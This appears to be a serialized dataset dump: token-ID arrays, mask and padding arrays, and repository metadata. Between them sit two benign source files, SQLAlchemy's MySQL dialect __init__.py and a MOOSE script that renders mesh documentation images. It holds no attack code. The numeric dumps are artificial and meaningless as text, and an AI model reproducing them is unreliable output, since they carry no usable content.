901, 283, 8176, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 358, 1012, 339, 347, 8552, 8, 277, 12, 9813, 304, 398, 327, 27854, 901, 283, 5318, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 63, 525, 29, 549, 430, 398, 327, 27854, 901, 283, 5318, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 4173, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 29, 549, 430, 398, 327, 27854, 901, 283, 10167, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 63, 525, 29, 549, 430, 398, 327, 27854, 901, 283, 10167, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 5656, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 29, 549, 430, 398, 327, 27854, 901, 283, 8176, 14, 3966, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 3966, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 63, 525, 29, 549, 430, 398, 327, 27854, 901, 283, 8176, 14, 5540, 7, 267, 1592, 14, 11858, 63, 2301, 360, 758, 556, 274, 63, 3271, 297, 283, 5540, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 7533, 2495, 63, 2131, 29, 549, 430, 339, 1709, 275, 469, 267, 283, 1178, 14, 923, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 2448, 2267, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 3235, 356, 283, 549, 297, 283, 988, 63, 1267, 356, 283, 1257, 1604, 288, 283, 6060, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 7980, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 3071, 267, 1660, 267, 283, 1178, 14, 5693, 356, 469, 288, 283, 3396, 356, 791, 7128, 356, 16111, 1317, 63, 466, 363, 571, 63, 1302, 297, 283, 1317, 63, 466, 363, 1238, 297, 283, 11879, 18106, 283, 3235, 63, 6314, 356, 9510, 1317, 63, 466, 297, 283, 11879, 9878, 283, 785, 63, 354, 356, 283, 7980, 2267, 288, 283, 11879, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1960, 1604, 288, 283, 1317, 63, 466, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 297, 990, 791, 475, 356, 298, 1025, 459, 10778, 14, 11282, 6097, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1400, 3071, 267, 1660, 267, 283, 1178, 14, 751, 356, 469, 288, 283, 3396, 356, 791, 785, 63, 354, 356, 283, 1899, 2267, 288, 283, 602, 63, 11806, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4626, 297, 990, 791, 885, 356, 283, 2083, 14, 2083, 14, 2131, 1604, 288, 283, 2123, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 16577, 297, 990, 791, 988, 63, 1267, 356, 283, 2194, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2246, 63, 354, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 297, 990, 791, 988, 63, 1267, 356, 283, 1216, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 2634, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 7624, 297, 990, 791, 475, 356, 298, 1025, 459, 1178, 14, 2448, 6256, 283, 10247, 356, 283, 797, 297, 283, 2500, 356, 283, 549, 1604, 288, 283, 344, 356, 661, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 297, 990, 791, 3327, 63, 498, 356, 283, 549, 1604, 288, 283, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
TOCyna/tabelinha
flask/lib/python2.7/site-packages/sqlalchemy/dialects/mysql/__init__.py
79
1171
# mysql/__init__.py # Copyright (C) 2005-2015 the SQLAlchemy authors and contributors # <see AUTHORS file> # # This module is part of SQLAlchemy and is released under # the MIT License: http://www.opensource.org/licenses/mit-license.php from . import base, mysqldb, oursql, \ pyodbc, zxjdbc, mysqlconnector, pymysql,\ gaerdbms, cymysql # default dialect base.dialect = mysqldb.dialect from .base import \ BIGINT, BINARY, BIT, BLOB, BOOLEAN, CHAR, DATE, DATETIME, \ DECIMAL, DOUBLE, ENUM, DECIMAL,\ FLOAT, INTEGER, INTEGER, LONGBLOB, LONGTEXT, MEDIUMBLOB, \ MEDIUMINT, MEDIUMTEXT, NCHAR, \ NVARCHAR, NUMERIC, SET, SMALLINT, REAL, TEXT, TIME, TIMESTAMP, \ TINYBLOB, TINYINT, TINYTEXT,\ VARBINARY, VARCHAR, YEAR, dialect __all__ = ( 'BIGINT', 'BINARY', 'BIT', 'BLOB', 'BOOLEAN', 'CHAR', 'DATE', 'DATETIME', 'DECIMAL', 'DOUBLE', 'ENUM', 'DECIMAL', 'FLOAT', 'INTEGER', 'INTEGER', 'LONGBLOB', 'LONGTEXT', 'MEDIUMBLOB', 'MEDIUMINT', 'MEDIUMTEXT', 'NCHAR', 'NVARCHAR', 'NUMERIC', 'SET', 'SMALLINT', 'REAL', 'TEXT', 'TIME', 'TIMESTAMP', 'TINYBLOB', 'TINYINT', 'TINYTEXT', 'VARBINARY', 'VARCHAR', 'YEAR', 'dialect' )
gpl-2.0
[ 3, 12896, 22128, 826, 4343, 647, 199, 3, 1898, 334, 35, 9, 11811, 13, 7806, 314, 14303, 11462, 436, 8417, 199, 3, 665, 3239, 10610, 570, 30, 199, 3, 199, 3, 961, 859, 365, 1777, 402, 14303, 436, 365, 14286, 1334, 199, 3, 314, 10697, 844, 26, 1455, 921, 1544, 14, 16374, 14, 1308, 15, 2383, 15, 1147, 13, 1682, 14, 8624, 199, 199, 504, 1275, 492, 1300, 12, 12896, 697, 12, 4154, 3009, 12, 971, 272, 1134, 19887, 12, 1315, 88, 29791, 12, 12896, 11815, 12, 1134, 8644, 4202, 272, 16072, 281, 697, 706, 12, 6325, 8644, 199, 199, 3, 849, 10982, 199, 1095, 14, 11072, 275, 12896, 697, 14, 11072, 199, 199, 504, 1275, 1095, 492, 971, 272, 16524, 2919, 12, 32698, 12, 699, 649, 12, 699, 9376, 12, 4367, 20540, 12, 8518, 12, 30131, 12, 17971, 10931, 12, 971, 272, 31371, 16980, 12, 5681, 12, 662, 7125, 12, 31371, 16980, 4202, 272, 31241, 12, 17086, 12, 17086, 12, 491, 615, 6487, 9376, 12, 26594, 3876, 12, 22650, 26275, 12, 971, 272, 22650, 2919, 12, 22650, 3876, 12, 653, 5901, 12, 971, 272, 653, 24800, 12, 31806, 12, 11543, 12, 2516, 2919, 12, 5363, 748, 12, 11951, 12, 17032, 12, 32745, 12, 971, 272, 377, 568, 57, 26275, 12, 377, 568, 57, 2919, 12, 377, 568, 57, 3876, 4202, 272, 812, 8611, 568, 4392, 12, 28490, 12, 1488, 15550, 12, 10982, 199, 199, 363, 452, 363, 275, 334, 272, 283, 18643, 2919, 297, 283, 13246, 297, 283, 11970, 297, 283, 26275, 297, 283, 25312, 297, 283, 5901, 297, 283, 5390, 297, 283, 12488, 297, 272, 283, 23925, 297, 283, 14989, 297, 283, 17563, 297, 283, 23925, 297, 283, 11783, 297, 283, 9596, 297, 283, 9596, 297, 272, 283, 44, 615, 6487, 9376, 297, 283, 12375, 3876, 297, 283, 9754, 2639, 26275, 297, 283, 9754, 2639, 2919, 297, 283, 9754, 2639, 3876, 297, 283, 46, 5901, 297, 272, 283, 46, 24800, 297, 283, 28425, 297, 283, 3597, 297, 283, 28570, 2919, 297, 283, 15508, 297, 283, 3876, 297, 283, 4961, 297, 272, 283, 20277, 297, 283, 31178, 26275, 297, 283, 31178, 2919, 297, 283, 31178, 3876, 297, 283, 5568, 13246, 297, 283, 24800, 297, 272, 283, 19216, 297, 283, 11072, 7, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 12896, 22128, 826, 4343, 647, 199, 3, 1898, 334, 35, 9, 11811, 13, 7806, 314, 14303, 11462, 436, 8417, 199, 3, 665, 3239, 10610, 570, 30, 199, 3, 199, 3, 961, 859, 365, 1777, 402, 14303, 436, 365, 14286, 1334, 199, 3, 314, 10697, 844, 26, 1455, 921, 1544, 14, 16374, 14, 1308, 15, 2383, 15, 1147, 13, 1682, 14, 8624, 199, 199, 504, 1275, 492, 1300, 12, 12896, 697, 12, 4154, 3009, 12, 971, 272, 1134, 19887, 12, 1315, 88, 29791, 12, 12896, 11815, 12, 1134, 8644, 4202, 272, 16072, 281, 697, 706, 12, 6325, 8644, 199, 199, 3, 849, 10982, 199, 1095, 14, 11072, 275, 12896, 697, 14, 11072, 199, 199, 504, 1275, 1095, 492, 971, 272, 16524, 2919, 12, 32698, 12, 699, 649, 12, 699, 9376, 12, 4367, 20540, 12, 8518, 12, 30131, 12, 17971, 10931, 12, 971, 272, 31371, 16980, 12, 5681, 12, 662, 7125, 12, 31371, 16980, 4202, 272, 31241, 12, 17086, 12, 17086, 12, 491, 615, 6487, 9376, 12, 26594, 3876, 12, 22650, 26275, 12, 971, 272, 22650, 2919, 12, 22650, 3876, 12, 653, 5901, 12, 971, 272, 653, 24800, 12, 31806, 12, 11543, 12, 2516, 2919, 12, 5363, 748, 12, 11951, 12, 17032, 12, 32745, 12, 971, 272, 377, 568, 57, 26275, 12, 377, 568, 57, 2919, 12, 377, 568, 57, 3876, 4202, 272, 812, 8611, 568, 4392, 12, 28490, 12, 1488, 15550, 12, 10982, 199, 199, 363, 452, 363, 275, 334, 272, 283, 18643, 2919, 297, 283, 13246, 297, 283, 11970, 297, 283, 26275, 297, 283, 25312, 297, 283, 5901, 297, 283, 5390, 297, 283, 12488, 297, 272, 283, 23925, 297, 283, 14989, 297, 283, 17563, 297, 283, 23925, 297, 283, 11783, 297, 283, 9596, 297, 283, 9596, 297, 272, 283, 44, 615, 6487, 9376, 297, 283, 12375, 3876, 297, 283, 9754, 2639, 26275, 297, 283, 9754, 2639, 2919, 297, 283, 9754, 2639, 3876, 297, 283, 46, 5901, 297, 272, 283, 46, 24800, 297, 283, 28425, 297, 283, 3597, 297, 283, 28570, 2919, 297, 283, 15508, 297, 283, 3876, 297, 283, 4961, 297, 272, 283, 20277, 297, 283, 31178, 26275, 297, 283, 31178, 2919, 297, 283, 31178, 3876, 297, 283, 5568, 13246, 297, 283, 24800, 297, 272, 283, 19216, 297, 283, 11072, 7, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nuclear-wizard/moose
test/tests/mesh/tiled_mesh/tiled_mesh.py
21
1531
#* This file is part of the MOOSE framework #* https://www.mooseframework.org #* #* All rights reserved, see COPYRIGHT for full restrictions #* https://github.com/idaholab/moose/blob/master/COPYRIGHT #* #* Licensed under LGPL 2.1, please see LICENSE for details #* https://www.gnu.org/licenses/lgpl-2.1.html """ Creates images for TiledMesh documentation. python tiled_mesh.py """ import vtk import chigger name = 'cube.e' name = 'tiled_mesh_test_in.e' if name == 'cube.e': out = 'tiled_mesh_input.png' else: out = 'tiled_mesh_output.png' camera = vtk.vtkCamera() camera.SetViewUp(-0.2136, 0.8540, -0.4745) camera.SetPosition(23.7499, 21.0876, 27.5908) camera.SetFocalPoint(4.9242, 4.2034, 5.6789) reader = chigger.exodus.ExodusReader(name) result = chigger.exodus.ExodusResult(reader, camera=camera, color=[0,0.85,0.85], edges=True, edge_color=[0,0,0]) extents = chigger.misc.VolumeAxes(result) extents.setOptions('xaxis', color=[0, 0, 0], minor_ticks=True) extents.setOptions('yaxis', color=[0, 0, 0], minor_ticks=True) extents.setOptions('zaxis', color=[0, 0, 0], minor_ticks=True) window = chigger.RenderWindow(result, extents, antialiasing=5) window.setOptions(size=[600,600], background=[0.7058823529411765, 0.7058823529411765, 0.7058823529411765], background2=[0.43529411764705883, 0.43529411764705883, 0.43529411764705883], gradient_background=True) window.update() window.resetCamera() window.write(out) #window.start() #print '\n'.join(chigger.utils.print_camera(result.getVTKRenderer().GetActiveCamera()))
lgpl-2.1
[ 15002, 961, 570, 365, 1777, 402, 314, 603, 5757, 899, 10059, 199, 15002, 4178, 921, 1544, 14, 573, 3362, 4857, 14, 1308, 199, 15002, 199, 15002, 2900, 4481, 4644, 12, 1937, 5877, 367, 2615, 24488, 199, 15002, 4178, 921, 5031, 14, 957, 15, 344, 11326, 393, 371, 15, 573, 3362, 15, 6582, 15, 4133, 15, 32324, 5716, 199, 15002, 199, 15002, 3909, 1334, 32426, 499, 14, 17, 12, 8749, 1937, 5113, 367, 2436, 199, 15002, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 9783, 1168, 13, 18, 14, 17, 14, 1360, 199, 199, 624, 199, 10607, 5935, 367, 377, 1672, 12241, 3794, 14, 199, 1548, 3367, 1146, 63, 6480, 14, 647, 199, 624, 199, 646, 11144, 199, 646, 682, 528, 836, 199, 199, 354, 275, 283, 11477, 14, 69, 7, 199, 354, 275, 283, 280, 1146, 63, 6480, 63, 396, 63, 262, 14, 69, 7, 199, 692, 536, 508, 283, 11477, 14, 69, 356, 272, 734, 275, 283, 280, 1146, 63, 6480, 63, 1210, 14, 4524, 7, 199, 2836, 26, 272, 734, 275, 283, 280, 1146, 63, 6480, 63, 1199, 14, 4524, 7, 199, 199, 11928, 275, 11144, 14, 11919, 18425, 342, 199, 11928, 14, 1084, 2768, 1721, 2801, 16, 14, 18, 8138, 12, 378, 14, 24, 17814, 12, 446, 16, 14, 13818, 21, 9, 199, 11928, 14, 1084, 5625, 8, 1789, 14, 1342, 1020, 12, 7829, 14, 16, 14690, 12, 8087, 14, 1427, 2036, 9, 199, 11928, 14, 1084, 38, 24560, 3428, 8, 20, 14, 25, 13212, 12, 841, 14, 1165, 1082, 12, 959, 14, 1822, 1407, 9, 199, 199, 5503, 275, 682, 528, 836, 14, 476, 364, 527, 14, 920, 364, 527, 5929, 8, 354, 9, 199, 1099, 275, 682, 528, 836, 14, 476, 364, 527, 14, 920, 364, 527, 2889, 8, 5503, 12, 15177, 29, 11928, 12, 3164, 1524, 16, 12, 16, 14, 2426, 12, 16, 14, 2426, 467, 8207, 29, 549, 12, 6275, 63, 2326, 1524, 16, 12, 16, 12, 16, 566, 199, 199, 11599, 83, 275, 682, 528, 836, 14, 9923, 14, 6464, 20386, 8, 1099, 9, 199, 11599, 83, 14, 409, 4558, 360, 21854, 297, 3164, 1524, 16, 12, 378, 12, 378, 467, 12612, 63, 10406, 29, 549, 9, 199, 11599, 83, 14, 409, 4558, 360, 23876, 297, 3164, 1524, 16, 12, 378, 12, 378, 467, 12612, 63, 10406, 29, 549, 9, 199, 11599, 83, 14, 409, 4558, 360, 90, 3127, 297, 3164, 1524, 16, 12, 378, 12, 378, 467, 12612, 63, 10406, 29, 549, 9, 199, 199, 3806, 275, 682, 528, 836, 14, 9216, 4301, 8, 1099, 12, 13675, 83, 12, 376, 1009, 2241, 316, 29, 21, 9, 199, 3806, 14, 409, 4558, 8, 890, 1524, 6683, 12, 6683, 467, 8020, 1524, 16, 14, 23, 24687, 8276, 10693, 845, 19335, 12, 378, 14, 23, 24687, 8276, 10693, 845, 19335, 12, 378, 14, 23, 24687, 8276, 10693, 845, 19335, 467, 8020, 18, 1524, 16, 14, 25337, 10693, 7362, 8557, 1717, 16456, 12, 378, 14, 25337, 10693, 7362, 8557, 1717, 16456, 12, 378, 14, 25337, 10693, 7362, 8557, 1717, 16456, 467, 6709, 63, 7451, 29, 549, 9, 199, 3806, 14, 873, 342, 199, 3806, 14, 3958, 18425, 342, 199, 3806, 14, 952, 8, 548, 9, 199, 3, 3806, 14, 928, 342, 199, 3, 1361, 1557, 78, 1370, 904, 8, 335, 528, 836, 14, 1208, 14, 1361, 63, 11928, 8, 1099, 14, 362, 8156, 43, 11355, 1252, 1002, 7472, 18425, 4059, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 